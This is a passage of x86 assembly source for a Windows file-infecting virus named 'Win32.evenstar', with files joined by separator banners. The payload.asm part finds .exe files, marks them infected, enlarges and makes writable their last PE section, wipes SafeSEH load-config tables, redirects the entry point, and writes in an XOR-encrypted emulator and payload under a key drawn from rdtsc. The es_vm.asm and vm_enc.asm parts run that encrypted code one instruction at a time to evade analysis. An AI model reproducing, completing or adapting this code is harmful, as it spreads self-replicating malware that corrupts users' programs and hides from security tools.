edi ; Contains current instruction mov DWORD PTR edx, [ebx + 64] ; Load debuggee stack pointer mov edi, edx mov esi, edi sub edi, 4 ; Increase stack size by 4 bytes (enough to place a ret) mov ecx, 34 rep movsb ; Stamp in ret address vm_realign_context_frame_stamp: pop edi ; Current instruction lea edx, [edi + 5] ; retn address (after call) mov [esi - 4], edx ; Stamp in ret address ; Stamp in new esp mov edx, [ebx + 64] sub edx, 4 ; Increase size of stack pointer by 4 bytes mov [ebx + 64], edx ; Stamp in popa ; Restore regs ret ;==============================================================================; ;: Recompute eip & size struct ptr of debuggee after a jump is made ; ;==============================================================================; vm_compute_new_eip: xchg edx, edi xor eax, eax add edi, 5 ; Move edi to next instruction (either call will be delta, or local) mov ecx, [edi - 4] ; Load call/jump operand into ecx xchg edx, edi lea edi, [edi + ecx + 5] ; Adjust edi to point to the next instruction to be executed ; Recompute pointer to inst size array ; + compare ecx with 0 vm_recompute_size_array: ; Check if the call offset is forward or backward pushf jg vm_recompute_size_array_forward not ecx ; Invert the offset popf stc ; C -> jump moving backwards cld ; Move forward in instruction length pointer (backwards through instructions) inc esi ; Count the call instruction too inc ecx pushf ; FIXME jmp @vm_recompute_size_array vm_recompute_size_array_forward: std ; Moving backwards in inst size ptr @vm_recompute_size_array: lodsb ; Load next instruction size sub ecx, eax ; Decrement ecx by size of next instruction test ecx, ecx ; Have we reached the proper instruction? jne @vm_recompute_size_array popf jnc vm_recompute_size_array_end dec esi clc vm_recompute_size_array_end: jmp @vm ;==============================================================================; ;: Return Emulation ; ;==============================================================================; vm_ret: xchg edx, edi push esi push edi ; Instruction pointer mov DWORD PTR edx, [ebx + 64] ; debuggee stack lea edi, [edx + 37] ; Pointer to ret address in debugee stack mov eax, [edi - 3] ; Load return address into eax lea esi, [edi - 4] std mov ecx, 34 rep movsb add edx, 4 ; Next alignment mov DWORD PTR [ebx + 64], edx pop edi xchg edi, eax ; eax = last ip; edi = new ip ; Recompute instruction size pointer (esi) pop esi sub eax, edi dec esi ; Set the instruction length pointer to the ret instruction cld mov ecx, eax add esi, 3 xor eax, eax @vm_ret_adjust_inst_len_count: lodsb sub ecx, eax ; Decrement by size of instruction test ecx, ecx jne @vm_ret_adjust_inst_len_count dec esi ; Adjust jmp @vm ;==============================================================================; ;::::::::::::::::::::: General Instruction Emulation :::::::::::::::::::::; ;==============================================================================; vm_reg_inst: ; Lock execution buffer ;pusha ;invoke VirtualProtect, vm_parm_code_base, 1000h, PAGE_NOACCESS, ADDR vm_page_protect ;popa ;==============================================================================; ;: Inject Post execution instructions ; ;==============================================================================; vm_stamp_instructions: ;sub edi, eax mov eax, vm_inst_len mov BYTE PTR [edi + eax], 0e8h ; Stamp in opcode 0xe8 (call) mov DWORD PTR [edi + eax + 1], 0 ; Stamp in zeros mov BYTE PTR [edi + eax + 5], VM_BREAK_OPCODE ; Stamp in interrupt ; d11c4 mov BYTE PTR [edi + eax + 6], 0e9h ; e9 c6110d00 push ebx mov ebx, OFFSET vm_handler sub ebx, vm_parm_buf mov DWORD PTR [edi + eax + 7], ebx pop ebx ;mov DWORD PTR [edi + eax + 7], JUMP_OFFSET ; FIXME ;mov DWORD PTR [edi + eax + 7], ADDR vm_handler ;==============================================================================; ;: Load debuggee thread context and prepare for execution ; ;==============================================================================; ; Save local stack context pushf push_gen_reg push ebp ; Exchange stack pointers and ebx, 0ffff0000h lea ebx, [ebx + VM_STACK_PTR_OFFSET] xchg [ebx], esp ; Restore debugees stack context pop ebp pop_gen_reg popf ;==============================================================================; ; Execute Instruction ; ;==============================================================================; ret ; Execute instruction! nop ;==============================================================================; ;::::::::::::::::::: Exception Handler Subroutine :::::::::::::::::::::::; ;==============================================================================; vm_handler: entry_fieldnop db 16 DUP (090h) ; SEH Subroutine relay mov ebx, [esp + 4] ; EXCEPTION_RECORD mov eax, [ebx] ; ExceptionCode cmp eax, STATUS_BREAKPOINT ; Is this a regular instruction? je vm_handler_bp ; Access Violation (AV) Proxy jmp vm_av_proxy ; Interrupt vector 3 (either general instruction, or post AV execution) vm_handler_bp: mov ebx, [esp + 0ch] ; CONTEXT structure assume ebx:ptr CONTEXT mov ebx, [ebx].regEip ; Load IB assume ebx:nothing and ebx, 0ffff0000h ; IB page mov DWORD PTR eax, [ebx + VM_AV_INST] ; Does a value exist here? ; If so, it means the last instruction executed ; caused a Violation. This means we must lock the ; code buffer and return to normal program flow test eax, eax je vm_handler_bp_no_vm ;==============================================================================; ;: Access Violation Proxy : Encryption ; ;==============================================================================; ; This is executed if the previous instruction caused an access violation due ; to an attempt to self-reference. We must lock the code buffer and encrypt the ; instruction in the code buffer. ; Encrypt instruction mov edi, eax mov eax, [ebx + VM_AV_LEN] call vm_dec ; Zero out AV data (so that the next instruction is not routed to here xor eax, eax mov [ebx + VM_AV_LEN], eax mov [ebx + VM_AV_INST], eax ; Lock execution buffer pusha and edi, 0ffff0000h sub esp, 4 push esp push PAGE_NOACCESS push 1000h push edi and ebx, 0ffff0000h mov eax, [ebx + VM_API] call eax pop eax popa ; Increment instruction ;mov ebx, [ebx + VM_STACK_PTR_OFFSET] ; Address of VMs stack ;mov eax, [ebx + 4] ; Load instruction length pointer ;xor ecx, ecx ;mov BYTE PTR cl, [eax + 1] ; Load data of last called instruction length to ecx ;mov eax, [ebx + 0ch] ; Load instruction pointer ;add eax, ecx ; Move debuggee eip to the next instruction ;mov [ebx + 0ch], eax ; Commit ; Return to normal instruction execution call vm_seh_unwind jmp vm_post_exec_proxy_context ;==============================================================================; ;: Access Violation Proxy : Decryption ; ;==============================================================================; ; An access Violation occured. Either this is a real bug, or it is generated ; by the a "self-reference" attempt at the encrypted code. ; We will have to check where the faulting address is. If that address it ; inside of the code boundry, then we know it will most *likely* be a ; fault generated intentionally. Of course, this is never certain, because ; seg fault can also occur in the VM, or a bug in the emulated code. vm_av_proxy: ; Determine faulting address mov ebx, [esp + 4] ; EXCEPTION_RECORD mov edx, [ebx + 18h] ; Faulting address ; eax = faulting address ; Decrypt instructions within 4 bytes ;VM_INST_LEN_PTR equ 60 ;VM_INST_BASE_PTR equ 56 mov esi, esp and esi, 0ffff0000h mov edi, [esi + VM_INST_BASE_PTR] ; esi = base of emulated code length counter mov esi, [esi + VM_INST_LEN_PTR] ; edi = base of emulated code ; Allow us to write to the buffer, so the decryption can work pusha and edi, 0ffff0000h sub esp, 4 push esp push PAGE_READWRITE push 1000h push edi and ebx, 0ffff0000h mov eax, [ebx + VM_API] call eax pop eax popa ; Determine the n instructions to decrypt that satisfy a 1 byte boundry ; esi -> inst ptr, edi -> eip, edx -> fault address xor eax, eax cld ; esi -> moving backwards @vm_dec_fault: ; Check, is this the faulting address? cmp edi, edx jge vm_dec_fault_found lodsb ; al -> size of inst add edi, eax ; Move to next inst jmp @vm_dec_fault vm_dec_fault_found: cmp edi, edx ; Are we on the instruction byte 0? je vm_dec_fault_decrypt_align ; We are in middle of an instruction, so find the base and decrypt the ; whole instruction, instead of only a part sub edi, eax ; Go to the base dec esi ; We have found the instruction to decrypt vm_dec_fault_decrypt_align: lodsb call vm_dec ; Set variables ; VM_AV_LEN -> length of instruction that was decrypted ; VM_AV_INST -> pointer to instruction that was decrypted and ebx, 0ffff0000h mov DWORD PTR [ebx + VM_AV_LEN], eax mov DWORD PTR [ebx + VM_AV_INST], edi ; Unwind seh call vm_seh_unwind ; Rebuild debuggee context mov ebx, [esp + 0ch] assume ebx:ptr CONTEXT ; Restore esp (prior to exception) mov esp, [ebx].regEsp and ebp, 0ffff0000h push ebp ; return -> IB push [ebx].regEbx mov eax, [ebx].regEax mov ecx, [ebx].regEcx mov edx, [ebx].regEdx mov edi, [ebx].regEdi mov esi, [ebx].regEsi mov ebp, [ebx].regEbp pop ebx ; Restores ebx ret ; Execute instruction! assume ebx:nothing ;==============================================================================; ;: Post Execution Proxy ; ;==============================================================================; ; This is executed at a regular instruction (no exception occured prior0 vm_handler_bp_no_vm: call vm_seh_unwind jmp vm_post_exec_proxy_context vm_seh_unwind: ; Rewind SEH chain in VM's context frame pop edx mov ebx, esp ; Store stack pointer (SEH information) mov esp, [esp + 8] ; Load SEH entry into esp pop DWORD PTR fs:[0] ; Unload handler add esp, 4 ; Unload handler pop eax ;lea eax, [edx + (OFFSET vm_handler - OFFSET vm_delta)] push eax push eax push DWORD PTR fs:[0] ; Push previous handler mov DWORD PTR fs:[0], esp ; Establish new SEH chain mov esp, ebx ; Restore stack jmp edx vm_post_exec_proxy_context: ; Load CONTEXT structure & adjust stack pointer mov ebx, [esp + 0ch] ; Load CONTEXT structure into ebx assume ebx:ptr CONTEXT ; Restore stack pointer (prior to exception) mov esp, [ebx].regEsp ; Old esp pop eax ; Retn from call and eax, 0ffff0000h ; Align to Instruction buffer push eax ; Push retn address used to call instruction ; Push CONTEXT of debuggee mov eax, [ebx].regFlag ; Load flags (DWORD) push ax ; flags push [ebx].regEax push [ebx].regEbx push [ebx].regEcx push [ebx].regEdx push [ebx].regEdi push [ebx].regEsi push [ebx].regEbp assume ebx:nothing ; Save register context of debuggee ;pushf ;push_gen_reg ;push ebp ; Recompute 'ret' address which contains the address of the instruction buffer ;mov eax, [esp + 30] ;and eax, 0ffff0000h ;mov [esp + 30], eax ; Realign debuggee stack pointer and save mov eax, esp ; Prepare and esp, 0ffff0000h ; Align to page xchg DWORD PTR [esp + VM_STACK_PTR_OFFSET], eax ; Store debuggee stack pointer, restore host stack pointer ; Restore host execution context mov esp, eax pop ebp pop_gen_reg popf ; Restore registers and return to main execution loop ; edi = instruction pointer ; esi = instruction counter ; ebx = working buffer add edx, ecx ; Increment instruction pointer by size of last inst xchg edx, edi jmp @vm ;include mlde32.asm ;==============================================================================; ;: Decryption/Encryption routine ; ;==============================================================================; vm_dec: pusha mov ecx, eax vm_dec_key: mov ebx, 0ffffffffh ; Place holder for key push ebx ;and edi, 0ffff0000h mov esi, edi @vm_dec: ; End of key? test ebx, ebx jne _vm_dec_key_cont pop ebx push ebx _vm_dec_key_cont: lodsb ; Load encrypted byte xor al, bl stosb ; Store decrypted byte shr ebx, 8 ; Shift key loop @vm_dec pop ebx popa ret ;fvirtualalloc db "VirtualAlloc",0 ;fvirtualprotect db "VirtualProtect",0 ;fcreatefile db "CreateFileA",0 ;fgetfilesize db "GetFileSize",0 ;freadfile db "ReadFile",0 ;fclosehandle db "CloseHandle",0 ;fwritefile db "WriteFile",0 ;fgetcurrentdirectory db "GetCurrentDirectoryA",0 ;ffindfirstfile db "FindFirstFileA",0 ;ffindnextfile db "FindNextFileA",0 ;:==============================================================================; ;: API function name string hashes ; ;:==============================================================================; vm_hash: hclosehandle dd 036CDD3CEh hcreatefile dd 0373445E5h hgetfilesize dd 0383C135Bh hreadfile dd 0007F9820h hvirtualalloc dd 0480AB82Ah hvirtualprotect dd 0090FE538h hwritefile dd 002AE2BBBh hgetcurrentdirectory dd 07472F2F5h hfindfirstfile dd 062BA6922h hfindnextfile dd 07A514DB9h hnull dd 000000000h nop ;:==============================================================================; ;: End of the code ; ;:==============================================================================; vm_end: ;stackseg SEGMENT public 'DATA' ;stackbuf WORD 4000 dup(?) ;stackseg ENDS ; EOF [ ############################### es_vm.asm ############################### ] [ ############################### payload.asm ############################### ] ;:==============================================================================; ;: ;: ;: Win32.evenstar infector ;: ;: ;:==============================================================================; EP_STACK_SIZE equ 128 iop equ dd 90900b0fh ;:==============================================================================; ;: Local Variables ; ;:==============================================================================; ep_hFile equ [ebp - 4] ep_filesize equ [ebp - 8] ep_filebuffer equ [ebp - 12] ep_ntheader equ [ebp - 16] ep_lastseg equ [ebp - 20] ep_lastseg_old_sizeofrawdata equ [ebp - 24] ep_end_of_copied_emu equ [ebp - 28] ep_workingbuffer equ [ebp - 32] ep_host_vm_base equ [ebp - 36] ep_delta_addr equ [ebp - 40] ep_key equ [ebp - 44] ep_inst_ptr equ [ebp - 48] ep_total_insts equ [ebp - 52] ep_remote_vm_base equ [ebp - 56] ep_oep equ [ebp - 60] ep_win32finddata equ [ebp - 104] ep_findhandle equ [ebp - 108] ep_filenamestring equ [ebp - 112] ep_host_oep equ [ebp - 116] ;:==============================================================================; ;: Entry point of evenstar ;:==============================================================================; payload: ; evenstar mov eax, 0ffeeffeeh nop call ep_delta ep_delta: pop ebx push ebp mov ebp, esp sub esp, EP_STACK_SIZE mov ecx, EP_STACK_SIZE mov edi, esp mov al, 0ffh rep stosb sub ebx, 11 mov ep_delta_addr, ebx ;:==============================================================================; ;: Get API ; ;:==============================================================================; mov eax, VM_INFO_GET_API call eax mov esi, eax lea edi, ep_findnextfile mov ecx, 40 cld rep movsb mov eax, ep_findfirstfile mov ebx, ep_createfile mov ecx, ep_findnextfile ep_closehandle equ [ebp - 64] ep_createfile equ [ebp - 68] ep_getfilesize equ [ebp - 72] ep_readfile equ [ebp - 76] ep_virtualalloc equ [ebp - 80] ep_virtualprotect equ [ebp - 84] ep_writefile equ [ebp - 88] ep_getcurrdir equ [ebp - 92] ep_findfirstfile equ [ebp - 96] ep_findnextfile equ [ebp - 100] ;:==============================================================================; ;: Spreader ; ;:==============================================================================; ; FindFirstFile ; Allocate some memory for WIN32_FIND_DATA push PAGE_READWRITE push MEM_COMMIT push 1000h push NULL mov eax, ep_virtualalloc call eax mov ep_win32finddata, eax ; Call to FindFirstFile push 002a2e2ah mov ebx, esp push eax push ebx mov eax, ep_findfirstfile call eax mov ep_findhandle, eax add esp, 4 ; .. call ep_zero_win32finddata push ep_win32finddata push ep_findhandle mov eax, ep_findnextfile call eax mov eax, ep_win32finddata ;:==============================================================================; ;: Go to next file ; ;:==============================================================================; @ep_enum_files: ; Find next file call ep_zero_win32finddata push ep_win32finddata push ep_findhandle mov eax, ep_findnextfile call eax test eax, eax je ep_end ; Get filename mov ebx, ep_win32finddata assume ebx:ptr WIN32_FIND_DATA lea eax, [ebx].cFileName assume ebx:nothing ; Test exe extension ; Shift to end of string mov edi, eax mov ep_filenamestring, eax xor al, al repne scasb mov eax, [edi - 4] cmp eax, 00657865h ; exe\0 jne @ep_enum_files ;:==============================================================================; ;: Read program into memory ; ;:==============================================================================; push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push NULL push 0 push GENERIC_READ push ep_filenamestring mov eax, ep_createfile call eax test eax, eax je @ep_enum_files mov ep_hFile, eax ; Get file size push NULL push eax mov eax, ep_getfilesize call eax mov ep_filesize, eax ; Allocate memory for file push PAGE_READWRITE push MEM_COMMIT add eax, 1000h push eax push NULL mov eax, ep_virtualalloc call eax mov ep_filebuffer, eax ; Allocate working page push PAGE_READWRITE push MEM_COMMIT add eax, 1000h push eax push NULL mov eax, ep_virtualalloc call eax mov ep_workingbuffer, eax ; Read file into memory push NULL mov ebx, esp push NULL push ebx push ep_filesize push ep_filebuffer push ep_hFile mov eax, ep_readfile call eax pop ebx ; Close file push ep_hFile mov eax, ep_closehandle call eax mov ebx, ep_filebuffer ;:==============================================================================; ;: Test headers ; ;:==============================================================================; ; Is this file already infected? assume ebx:ptr IMAGE_DOS_HEADER mov WORD PTR ax, [ebx].e_oemid mov edx, ep_win32finddata cmp WORD PTR ax, 0eeeeh je @ep_enum_files mov eax, [ebx].e_lfanew assume ebx:nothing add ebx, eax mov ep_ntheader, ebx ;:==============================================================================; ;: Modify headers ;:==============================================================================; assume ebx:ptr IMAGE_NT_HEADERS mov eax, [ebx].OptionalHeader.SizeOfImage add eax, 1000h mov [ebx].OptionalHeader.SizeOfImage, eax ; Get address of last segment mov eax, SIZEOF IMAGE_SECTION_HEADER xor edx, edx mov WORD PTR dx, [ebx].FileHeader.NumberOfSections dec dl mul edx assume ebx:nothing lea ebx, [ebx + eax + 0f8h] mov ep_lastseg, ebx ; Expand last section assume ebx:ptr IMAGE_SECTION_HEADER mov eax, [ebx].SizeOfRawData mov ep_lastseg_old_sizeofrawdata, eax add eax, 1000h mov [ebx].SizeOfRawData, eax mov eax, [ebx].Characteristics or eax, IMAGE_SCN_MEM_WRITE mov [ebx].Characteristics, eax assume ebx:nothing mov eax, [ebx + 08h] ; VirtualSize add eax, 1000h mov [ebx + 08h], eax ; Change OEP assume ebx:ptr IMAGE_SECTION_HEADER mov eax, [ebx].SizeOfRawData add eax, [ebx].VirtualAddress sub eax, 1000h assume ebx:nothing mov ebx, ep_ntheader assume ebx:ptr IMAGE_NT_HEADERS mov edx, [ebx].OptionalHeader.ImageBase add edx, [ebx].OptionalHeader.AddressOfEntryPoint mov [ebx].OptionalHeader.AddressOfEntryPoint, eax mov ebx, ep_filebuffer assume ebx:nothing mov ep_host_oep, edx ; Remove SafeSeh tables, if required pusha mov ebx, ep_ntheader assume ebx:ptr IMAGE_NT_HEADERS lea eax, [ebx].OptionalHeader.DataDirectory add eax, 80 ; Load Config Table VirtualAddress mov edi, eax mov eax, [edi] ; Load virtualaddress test eax, eax je ep_no_load_config ; Get size of table mov ecx, [edi + 4] ; Size of table ; Find executable section assume ebx:nothing add ebx, 0f8h assume ebx:ptr IMAGE_SECTION_HEADER sub eax, [ebx].VirtualAddress add eax, ep_filebuffer add eax, [ebx].PointerToRawData ; Absolute raw address at eax mov edi, eax xor al, al rep stosb assume ebx:nothing ep_no_load_config: popa ; Stamp sig ep_image_ok: ;mov eax, 0deadbeefh ;:==============================================================================; ;: Infect ; ;:==============================================================================; call ep_infect ; Open file for writing ; Open target push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push NULL push 0 push GENERIC_WRITE push ep_filenamestring mov eax, ep_createfile call eax test eax, eax je @ep_enum_files mov ep_hFile, eax ; Write to file push NULL mov eax, esp push NULL push eax mov eax, ep_filesize add eax, 1000h push eax push ep_filebuffer push ep_hFile mov eax, ep_writefile call eax pop eax ; Close file push ep_hFile mov eax, ep_closehandle call eax jmp @ep_enum_files ;:==============================================================================; ;: Return to host OEP ; ;:==============================================================================; ep_end: mov ebx, ep_oep add esp, EP_STACK_SIZE pop ebp mov eax, VM_RETURN_TO_OEP call eax ;:==============================================================================; ;: Infect ; ;:==============================================================================; ep_infect: assume ebx:ptr IMAGE_DOS_HEADER mov ax, 0eeeeh mov WORD PTR [ebx].e_oemid, ax ; Stamp host oep lea eax, [ebx].e_ip mov edi, ep_oep sub edi, esi mov [eax], edi ;:==============================================================================; ;: Copy emulator ; ;:==============================================================================; mov ebx, ep_lastseg assume ebx:ptr IMAGE_SECTION_HEADER mov edi, ep_filebuffer add edi, ep_lastseg_old_sizeofrawdata add edi, [ebx].PointerToRawData mov ep_remote_vm_base, edi assume ebx:nothing mov eax, VM_GET_INFO_MACHINE ; Calling this will get the emu to return its own location in memory call eax mov esi, eax mov ep_host_vm_base, eax mov ecx, ((OFFSET vm_end - OFFSET vm_intro) + 8) cld push edi ; Source of vm remote rep movsb ; Copy the emulator pop ebx mov eax, ep_host_oep mov [ebx + 7], eax sub edi, 8 mov ep_end_of_copied_emu, edi ; Commit ; Generate key pusha rdtsc mov ebx, eax mov ecx, eax shr ecx, 24 @ep_key: nop dec cl cmp cl, 0 jne @ep_key rdtsc xor eax, ebx ;mov eax, 0 ; Override mov ep_key, eax ; Copy instruction length counter mov esi, ep_host_vm_base lea esi, [esi + 8 + (OFFSET vm_end - OFFSET vm_intro)] push esi mov edi, ep_end_of_copied_emu lea edi, [edi + 8] mov ecx, [esi - 4] ; Total amount of instructions mov ep_total_insts, ecx rep movsb ; Prepare for copying payload mov DWORD PTR [edi], 0deadbeefh add edi, 4 add esi, 4 ; esi now points to local payload mov edx, ep_host_vm_base lea edx, [edx + ((OFFSET vm_end - OFFSET vm_intro) + 8)] xchg edx, esi mov edx, ep_delta_addr ; esi = instruction length counter, edi = remote payload, edx = host payload @ep_copy: ; Get length of local payload xor eax, eax lodsb push eax ; Copy instruction to working buffer mov ecx, eax mov ebx, ep_workingbuffer @ep_copy_to_work_buffer: mov BYTE PTR al, [edx] ; Copy one byte of instruction into buffer mov BYTE PTR [ebx], al inc edx inc ebx dec ecx test ecx, ecx jne @ep_copy_to_work_buffer ; Encrypt instruction pop ecx pusha and ebx, 0ffff0000h mov esi, ebx mov edx, ep_key ; Encryption key @ep_enc: test edx, edx jne ep_enc_1 mov edx, ep_key ep_enc_1: lodsb ; Load instruction byte xor al, dl mov BYTE PTR [esi - 1], al shr edx, 8 dec ecx test ecx, ecx jne @ep_enc popa ; Copy from working buffer to remote host and ebx, 0ffff0000h ; Set working buffer to byte 0, (beginning of encrypted inst) xchg esi, ebx rep movsb ; Copy instruction xchg ebx, esi mov ecx, ep_total_insts dec ecx mov ep_total_insts, ecx test ecx, ecx jne @ep_copy ; Stamp key into emulator mov ebx, ep_remote_vm_base lea ebx, [ebx + 1 + (OFFSET vm_dec_key - OFFSET vm_intro)] mov eax, ep_key mov [ebx], eax add esp, 36 ret ep_zero_win32finddata: pusha mov edi, ep_win32finddata mov ecx, 1000h xor al, al rep stosb popa ret nop nop nop nop payload_end: [ ############################### payload.asm ############################### ] [ ############################### vm_enc.asm ############################### ] ; Encryption/Decryption routines - nothing special here :P ; some basic xor crap. vm_enc: ; esi = ptr to instruction length counter ; edi = ptr to buffer to be encrypted ; Generate encryption keys pusha rdtsc mov ebx, eax mov ecx, eax and ecx, 00ffffffh @vm_enc_key: nop loop @vm_enc_key rdtsc xor eax, ebx ; Contains key xor eax, 0ffffffffh ; No byte can be zero ;mov eax, 0 ; This will override the key to be 0, so no encryption mov vm_key, eax ; Main encryption loop mov ebx, eax xor ecx, ecx cld lodsb ; Load instruction length mov cl, al ; Loop counter @vm_enc: ; Check if the key has been fully shifted test ebx, ebx jne vm_enc_key_ok mov ebx, vm_key ; Restore key vm_enc_key_ok: xchg esi, edi lodsb ; Load byte to be encrypted xor al, bl ; Xor xchg esi, edi dec edi stosb ; Store encrypted byte shr ebx, 8 ; Shift to next byte loop @vm_enc mov ebx, vm_key lodsb ; Load instruction length mov cl, al ; Loop counter cmp al, 0efh ; Have we reached the end? jne @vm_enc ; Encrypt next instruction vm_exit: popa ret ; Per instruction decryption routine ; vm_dec nop nop nop popa ret [ ############################### vm_enc.asm ############################## ] [ ############################### mlde32.asm ############################## ] ;******************************************* ;* (X) uNdErX 2003 - underx@antisocial.com * ;******************************************* ;* Micro Length-Disassembler Engine 32 * ;* * ;* release v1.0 05/01/2003 * ;* * ;******************************************* ;p386 ;locals @@ ;**************** ;* Opcode types * ;**************** O_UNIQUE equ 0 O_PREFIX equ 1 O_IMM8 equ 2 O_IMM16 equ 3 O_IMM24 equ 4 O_IMM32 equ 5 O_IMM48 equ 6 O_MODRM equ 7 O_MODRM8 equ 8 O_MODRM32 equ 9 O_EXTENDED equ 10 O_WEIRD equ 11 O_ERROR equ 12 .code public C mlde32 ; int __cdecl mlde32(void *codeptr); mlde32: pushad cld xor edx, edx mov esi, [esp+(8*4)+4] mov ebp, esp ; 256 bytes, index-compressed opcode type table push 01097F71Ch push 0F71C6780h push 017389718h push 0101CB718h push 017302C17h push 018173017h push 0F715F547h push 04C103748h push 0272CE7F7h push 0F7AC6087h push 01C121C52h push 07C10871Ch push 0201C701Ch push 04767602Bh push 020211011h push 040121625h push 082872022h push 047201220h push 013101419h push 018271013h push 028858260h push 015124045h push 05016A0C7h push 028191812h push 0F2401812h push 019154127h push 050F0F011h mov ecx, 015124710h push ecx push 011151247h push 010111512h push 047101115h mov eax, 012472015h push eax push eax push 012471A10h add cl, 10h push ecx sub cl, 20h push ecx xor ecx, ecx dec ecx ; code starts @@ps: inc ecx mov edi, esp @@go: lodsb mov bh, al @@ft: mov ah, [edi] inc edi shr ah, 4 sub al, ah jnc @@ft mov al, [edi-1] and al, 0Fh cmp al, O_ERROR jnz @@i7 pop edx not edx @@i7: inc edx cmp al, O_UNIQUE jz @@t_exit cmp al, O_PREFIX jz @@ps add edi, 51h ;(@@_ettbl - @@_ttbl) cmp al, O_EXTENDED jz @@go mov edi, [ebp+(8*4)+4] @@i6: inc edx cmp al, O_IMM8 jz @@t_exit cmp al, O_MODRM jz @@t_modrm cmp al, O_WEIRD jz @@t_weird @@i5: inc edx cmp al, O_IMM16 jz @@t_exit cmp al, O_MODRM8 jz @@t_modrm @@i4: inc edx cmp al, O_IMM24 jz @@t_exit @@i3: inc edx @@i2: inc edx pushad mov al, 66h repnz scasb popad jnz @@c32 @@d2: dec edx dec edx @@c32: cmp al, O_MODRM32 jz @@t_modrm sub al, O_IMM32 jz @@t_imm32 @@i1: inc edx @@t_exit: mov esp, ebp mov [esp+(7*4)], edx popad ret ;********************************* ;* PROCESS THE MOD/RM BYTE * ;* * ;* 7 6 5 3 2 0 * ;* | MOD | Reg/Opcode | R/M | * ;* * ;********************************* @@t_modrm: lodsb mov ah, al shr al, 7 jb @@prmk jz @@prm add dl, 4 pushad mov al, 67h repnz scasb popad jnz @@prm @@d3: sub dl, 3 dec al @@prmk:jnz @@t_exit inc edx inc eax @@prm: and ah, 00000111b pushad mov al, 67h repnz scasb popad jz @@prm67chk cmp ah, 04h jz @@prmsib cmp ah, 05h jnz @@t_exit @@prm5chk: dec al jz @@t_exit @@i42: add dl, 4 jmp @@t_exit @@prm67chk: cmp ax, 0600h jnz @@t_exit inc edx jmp @@i1 @@prmsib: cmp al, 00h jnz @@i1 lodsb and al, 00000111b sub al, 05h jnz @@i1 inc edx jmp @@i42 ;**************************** ;* PROCESS WEIRD OPCODES * ;* * ;* Fucking test (F6h/F7h) * ;* * ;**************************** @@t_weird: test byte ptr [esi], 00111000b jnz @@t_modrm mov al, O_MODRM8 shr bh, 1 adc al, 0 jmp @@i5 ;********************************* ;* PROCESS SOME OTHER SHIT * ;* * ;* Fucking mov (A0h/A1h/A2h/A3h) * ;* * ;********************************* @@t_imm32: sub bh, 0A0h cmp bh, 04h jae @@d2 pushad mov al, 67h repnz scasb popad jnz @@chk66t @@d4: dec edx dec edx @@chk66t: pushad mov al, 66h repnz scasb popad jz @@i1 jnz @@d2 [ ############################### mlde32.asm ############################## ]